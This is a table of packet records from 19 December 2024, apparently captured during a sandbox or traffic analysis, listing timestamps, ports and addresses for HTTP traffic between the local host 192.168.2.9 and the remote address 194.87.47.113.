Dec 19, 2024 08:00:58.552881956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.552927017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.553683996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.553795099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.553833961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.554472923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.554558992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.554594994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.555325031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.555403948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.555449963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.556166887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.556282997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.556325912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.557029963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.557159901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.557199001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.557864904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.557991982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.558031082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.558751106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.558892965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.558933973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.559607029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.559717894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.559757948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.560455084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.560544968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.560621023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.561312914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.561451912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.561490059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.562238932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.562273979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.562309980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.563036919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.563165903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.563205004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.563878059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.563987970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.564026117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.564743996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.564909935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.564951897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.565593004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.565699100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.565742016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.566437006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.566565037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.566606998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.567301035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.567409992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.567455053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.568173885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.568295956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.568332911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.569022894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.569112062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.569150925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.569921970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.570000887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.570048094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.570764065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.570842028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.570879936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.571609020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.571697950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.571733952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.572462082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.572556019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.572598934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.573297977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.573409081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.573451996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.574187040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.574342966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.574379921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.575030088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.575103998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.575146914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.575848103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.623133898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.667222977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.667428970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.667485952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.667593002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.667700052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.667848110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.668478966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.668745041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.668788910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.669321060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.669439077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.669482946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.670191050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.670324087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.670372009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.671051979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.671150923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.671196938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.671900034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.671992064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.672038078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.729258060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.729304075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.729358912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.729365110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.729402065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.729449987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.730108023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.730200052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.730246067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.730935097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.731076002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.731126070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.731822014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.731990099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.732031107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.732741117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.732896090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.732963085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.733567953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.733619928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.733669043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.734357119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.734517097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.734569073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.735199928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.735331059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.735378981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.736092091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.736145020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.736195087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.736920118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.737103939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.737159014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.737785101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.737956047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.738039017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.738632917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.738745928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.738794088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.739491940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.739600897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.739660025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.740360975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.740489960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.740540028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.741204977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.741281986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.741328955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.742065907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.742172003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.742223978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.742932081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.743047953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.743103981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.743767023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.743858099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.743902922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.744654894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.744712114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.744761944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.745516062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.745605946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.745659113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.746423960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.746594906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.746638060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.747184038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.747286081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.747328043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.748042107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.748166084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.748208046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.748903036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.749016047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.749084949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.749732971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.749859095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.749905109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.750590086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.750699043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.750737906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.751466990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.751569986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.751619101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.752321005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.752415895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.752464056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.753177881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.753309965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.753356934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.754039049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.754149914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.754194021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.754894972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.755023956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.755074978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.755765915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.755826950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.755870104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.756665945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.756752014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.756798029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.757462025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.757587910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.757630110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.758362055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.758450985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.758497953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.759215117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.759330034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.759382010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.760040998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.760173082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.760242939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.760938883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.761027098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.761074066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.761739016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.761878014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.761925936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.762602091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.762780905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.762835979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.763533115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.763588905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.763649940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.764360905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.764461994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.764508009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.765182018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.765315056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.765376091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.766032934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.766158104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.766210079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.766927958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.767076015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.767163038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.767771959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.767879963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.767930984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.859627962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.859687090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.859740019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.860048056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.860088110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.860137939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.860656977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.860697031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.860739946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.861500978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.861558914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.861603022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.862286091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.862385035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.862426996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.863167048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.863225937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.863267899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.864016056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.864032030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.864068031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.921427965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.921479940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.921550989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.921672106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.921804905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.921850920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.922533035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.922647953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.922703981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.923417091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.923556089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.923599005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.924233913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.924340010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.924377918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.925090075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.925132990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.925168991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.925966978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.926091909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.926131964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.926805973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.926908970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.926947117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.927766085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.927830935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.927891970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.928544998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.928683043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.928720951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.929392099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.929498911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.929537058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.930229902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.930345058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.930383921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.931092024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.931191921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.931235075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.931961060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.932069063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.932112932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.932821989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.932923079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.932961941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.933741093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.933903933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.933943987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.934518099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.934609890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.934645891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.935394049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.935498953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.935538054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.936332941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.936398983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.936438084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.937086105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.937197924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.937239885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.937944889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.938060045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.938098907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.938811064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.938896894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.938935041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.939687967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.939758062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.939800978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.940562010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.940629005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.940675020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.941381931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.941474915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.941519022 CET	49739	80	192.168.2.9	194.87.47.113
